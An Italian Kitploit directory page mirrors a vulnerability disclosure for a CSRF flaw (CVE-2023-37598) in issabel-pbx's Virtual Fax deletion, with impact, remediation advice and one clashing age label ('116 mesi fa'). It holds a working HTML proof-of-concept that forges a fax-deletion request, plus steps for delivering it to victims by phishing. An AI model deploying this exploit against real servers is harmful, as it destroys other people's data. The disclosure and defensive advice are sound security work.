Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-37598 — Esiste una vulnerabilità di Cross-Site Request Forgery (CSRF) in issabel-pbx v4.0.0-6 all'interno della funzionalità di gestione del Virtual Fax. | Kitploit
Strumenti/GitHubGitHub/sahiloj/cve-2023-37598
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingApprendimento e Formazione
GitHubsahiloj/cve-2023-37598

CVE-2023-37598

Esiste una vulnerabilità di Cross-Site Request Forgery (CSRF) in issabel-pbx v4.0.0-6 all'interno della funzionalità di gestione del Virtual Fax.

Vedi Repository
116 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-37598 — issabel-pbx 4.0.0-6: Cross-Site Request Forgery (CSRF)

Panoramica

ID CVE: CVE-2023-37598
Tipo di vulnerabilità: Cross-Site Request Forgery (CSRF)
Prodotto interessato: issabel-pbx v4.0.0-6
Severità: Media
Scoperta da: Sahil Ojha
Data di divulgazione: 10/07/2023
Homepage del vendor: https://www.issabel.org/
Repository del software: https://github.com/IssabelFoundation/issabelPBX
Testato su: Windows


Descrizione

Una vulnerabilità di tipo Cross-Site Request Forgery (CSRF) è presente in issabel-pbx v4.0.0-6 nella funzionalità di gestione del Virtual Fax. L'applicazione non implementa protezioni CSRF (ad es. token anti-CSRF o attributi dei cookie SameSite) sull'azione di eliminazione delle voci di virtual fax.

Ciò consente a un attaccante remoto non autenticato di creare una pagina HTML malevola che — quando visitata da un amministratore o utente autenticato — invia silenziosamente una richiesta HTTP falsificata all'applicazione per conto della vittima. La richiesta falsificata causa l'eliminazione dei record di virtual fax senza la conoscenza o il consenso della vittima, con conseguente perdita di dati e interruzione dei servizi fax.

Cos'è il CSRF?

Il Cross-Site Request Forgery (CSRF) è un attacco che induce il browser della vittima a inviare una richiesta autenticata a un'applicazione web senza l'intenzione dell'utente. Poiché il browser include automaticamente i cookie di sessione in ogni richiesta, il server non può distinguere una richiesta legittima da una falsificata quando non è presente un token CSRF.


Impatto

  • Perdita di dati: un attaccante può eliminare le voci di virtual fax appartenenti a qualsiasi utente, rendendo i dati fax permanentemente inaccessibili.
  • Modifica non autorizzata dello stato: i record fax amministrativi possono essere rimossi silenziosamente senza alcuna interazione o consapevolezza da parte dell'utente legittimo.
  • Nessuna autenticazione richiesta per l'attaccante: l'attaccante non ha bisogno di credenziali valide — solo la vittima (già autenticata) deve visitare la pagina controllata dall'attaccante.

Componente interessato

ParametroValore

Proof of Concept (PoC)

Il seguente file HTML, quando aperto da un utente issabel-pbx autenticato, invierà automaticamente una richiesta POST falsificata che elimina il virtual fax con id_fax=1.

File: CSRF exploit.html

root@kitploit:~
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_fax" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Nota: sostituire {Issabel IP} con l'indirizzo IP o il nome host del server di destinazione. Il valore di id_fax può essere modificato per prendere di mira qualsiasi record di virtual fax tramite il suo ID.


Passaggi per la riproduzione

  1. Accedi al pannello di amministrazione di Issabel PBX e vai alla pagina Virtual Fax:

    root@kitploit:~
    https://{Issabel IP}/index.php?menu=faxnew&action=view&id=1
    

    Passo 1 – Pagina Virtual Fax di Issabel

  2. Cattura la richiesta di eliminazione utilizzando il proxy Burp Suite. Prova a eliminare una voce di Virtual Fax, intercetta la richiesta, fai clic con il tasto destro su di essa e vai su Engagement Tools → Generate CSRF PoC.

    Passo 2 – Genera il PoC CSRF in Burp Suite

  3. Salva l'exploit CSRF generato come file HTML (vedi il PoC sopra).

  4. Consegna l'exploit a un utente già autenticato nell'applicazione Issabel (ad es. tramite email di phishing o un collegamento malevolo). Quando la vittima apre la pagina e fa clic su "Submit request", la voce di Virtual Fax viene eliminata senza ulteriori interazioni.

    Passo 3 – Exploit CSRF HTML renderizzato nel browser

    Passo 4 – Virtual Fax eliminato dalla dashboard di amministrazione


Scenario di attacco

Un attaccante ospita il file HTML malevolo su un server esterno o lo incorpora in un'email. Quando un amministratore autenticato di Issabel PBX apre questa pagina nella stessa sessione del browser, il browser invia automaticamente la richiesta POST falsificata — incluso il cookie di sessione valido — al server Issabel. Il server elabora la richiesta come legittima, eliminando il record di virtual fax preso di mira. La vittima non riceve alcun avviso e potrebbe non notare l'eliminazione finché non ispeziona manualmente l'elenco dei fax.


Rimedio

Per correggere questa vulnerabilità, il vendor dovrebbe implementare una o più delle seguenti mitigazioni:

  1. Token anti-CSRF: includere un token univoco, imprevedibile e per-sessione in tutti i moduli che modificano lo stato e verificarlo lato server prima di elaborare la richiesta.
  2. Attributo cookie SameSite: impostare il cookie di sessione con SameSite=Strict o SameSite=Lax per impedire al browser di inviarlo con richieste cross-origin.
  3. Intestazioni di richiesta personalizzate: richiedere un'intestazione HTTP personalizzata (ad es. X-Requested-With: XMLHttpRequest) per tutte le operazioni sensibili e verificarla lato server.
  4. Ri-autenticazione per azioni distruttive: richiedere all'utente di reinserire la password o confermare la propria identità prima di eseguire operazioni irreversibili come l'eliminazione.

Riferimenti

  • NVD – CVE-2023-37598
  • OWASP – Cross-Site Request Forgery (CSRF)
  • Repository GitHub di Issabel PBX
  • Sito ufficiale di Issabel
Scarica lo strumento
Applicazioneissabel-pbx
Versione4.0.0-6
URL vulnerabile/index.php?menu=faxnew&action=view&id=<ID>
Azione vulnerabiledelete (parametro POST)
Protezione mancanteToken CSRF / attributo cookie SameSite